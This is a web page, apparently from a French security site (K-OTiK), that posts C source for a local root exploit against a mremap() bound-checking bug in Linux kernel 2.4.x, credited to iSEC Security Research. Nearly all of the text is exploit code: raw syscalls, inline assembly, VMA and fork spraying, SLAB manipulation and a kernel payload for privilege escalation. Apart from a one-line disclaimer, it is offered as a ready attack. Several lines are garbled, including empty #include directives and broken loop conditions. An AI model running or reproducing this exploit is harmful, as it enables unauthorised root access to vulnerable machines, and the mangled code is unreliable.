Linux kernel 2.4.x mremap() bound checking Root Exploit

    
 
/*
                              * Linux kernel mremap() bound checking bug exploit.
                              *
                              * Bug found by Paul Starzetz 
                              *
                              * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
                              *
                              * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
                              * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
                              * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
                              */

                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 

                              #include 
                              #include 
                              #include 

                              #include 

                              #define MREMAP_MAYMOVE  1
                              #define MREMAP_FIXED    2

                              #define str(s)  #s
                              #define xstr(s) str(s)

                              #define DSIGNAL         SIGCHLD
                              #define CLONEFL         (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
                              #define PAGEADDR        0x2000

                              #define RNDINT          512

                              #define NUMVMA          (3 * 5 * 257)
                              #define NUMFORK         (17 * 65537)

                              #define DUPTO           1000
                              #define TMPLEN          256

                              #define __NR_sys_mremap 163

                              _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
                              unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
                              new_len,
                              unsigned long flags, unsigned long new_addr);


                              static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
                              gid;
                              static volatile int *vma_ro, *vma_rw, *tmp;
                              static volatile unsigned fake_file[16];


                              void fatal(const char * msg)
                              {
                              printf("\n");
                              if (!errno) {
                              fprintf(stderr, "FATAL: %s\n", msg);
                              } else {
                              perror(msg);
                              }

                              printf("\nentering endless loop");
                              fflush(stdout);
                              fflush(stderr);
                              while (1) pause();
                              }

                              void kernel_code(void * file, loff_t offset, int origin)
                              {
                              int i, c;
                              int *v;

                              if (!file)
                              goto out;

                              __asm__("movl      %%esp, %0" : : "m" (c));

                              c &= 0xffffe000;
                              v = (void *) c;

                              for (i = 0; i  0) {
                              printf("\n    depopulate SLAB #%d", c++);
                              blah = 0; kill(hpid, SIGUSR1);
                              while (!blah) pause();
                              }
                              if (!n) {
                              blah = 0; kill(hpid, SIGUSR1);
                              while (!blah) pause();
                              dup2(0, DUPTO);
                              break;
                              }
                              }

                              signal(SIGUSR1, &redirect_filp);
                              kill(pid, SIGUSR1);
                              }

                              void cleanup_vmas(void)
                              {
                              int i = NUMVMA;

                              while (1) {
                              tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
                                MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
                              if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
                              printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
                              fatal("unmap1");
                              }
                              i--;
                              if (!i)
                              break;

                              tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
                                MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
                              if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
                              printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
                              fatal("unmap2");
                              }
                              i--;
                              if (!i)
                              break;
                              }
                              }

                              void catchme(int v)
                              {
                              blah++;
                              }

                              void exitme(int v)
                              {
                              _exit(0);
                              }

                              void childrip(int v)
                              {
                              waitpid(-1, 0, WNOHANG);
                              }

                              void slab_helper(void)
                              {
                              signal(SIGUSR1, &catchme);
                              signal(SIGUSR2, &exitme);
                              blah = 0;

                              while (1) {
                              while (!blah) pause();

                              blah = 0;
                              if (!fork()) {
                              dup2(0, DUPTO);
                              kill(getppid(), SIGUSR1);
                              while (1) pause();
                              } else {
                              while (!blah) pause();
                              blah = 0; kill(ppid, SIGUSR2);
                              }
                              }
                              exit(0);
                              }

                              int main(void)
                              {
                              int i, r, v, cnt;
                              time_t start;

                              srand(time(NULL) + getpid());
                              ppid = getpid();
                              uid = getuid();
                              gid = getgid();

                              hpid = fork();
                              if (!hpid)
                              slab_helper();

                              fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
                              MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
                              if (fops == MAP_FAILED)
                              fatal("mmap fops VMA");
                              for (i = 0; i  1) {
                              __asm__(
                              "pusha                             \n"
                              "movl %1, %%eax                    \n"
                              "movl $("xstr(CLONEFL)"), %%ebx  \n"
                              "movl %%esp, %%ecx         \n"
                              "movl $120, %%eax          \n"
                              "int  $0x80                        \n"
                              "movl %%eax, %0                    \n"
                              "popa                              \n"
                              : : "m" (pid), "m" (dummy)
                              );
                              } else {
                              pid = fork();
                              }

                              if (pid) {
                              if (v  0) {
                                float eta, tm;
                                v = rand() % RNDINT / 2 + RNDINT / 2;
                                tm = eta = (float)(time(NULL) - start);
                                eta *= (float)NUMFORK;
                                eta /= (float)(NUMFORK - cnt);
                                printf("\r\t%u of %u [ %u %%  ETA %6.1f s ]          ",
                                NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
                                fflush(stdout);
                              }
                              if (cnt) {
                                waitpid(pid, 0, 0);
                                continue;
                              }
                              if (!cnt) {
                                while (1) {
                                         r = wait(NULL);
                                         if (r == pid) {
                                        cleanup_vmas();
                                        while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
                                         }
                                }
                              }
                              }

                              else {
                              cleanup_vmas();

                              if (cnt > 0) {
                                _exit(0);
                              }

                              printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
                              sleep(1);

                              signal(SIGUSR1, &catchme);
                              munmap(0, PAGE_SIZE);
                              dup2(0, 2);
                              blah = 0; kill(ppid, SIGUSR1);
                              while (!blah) pause();

                              munmap((void *)victim, PAGE_SIZE);
                              dup2(0, DUPTO);

                              blah = 0; kill(ppid, SIGUSR1);
                              while (!blah) pause();
                              try_to_exploit();
                              while (1) pause();
                              }
                              }
                              return 0;
                              }
                              

 Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits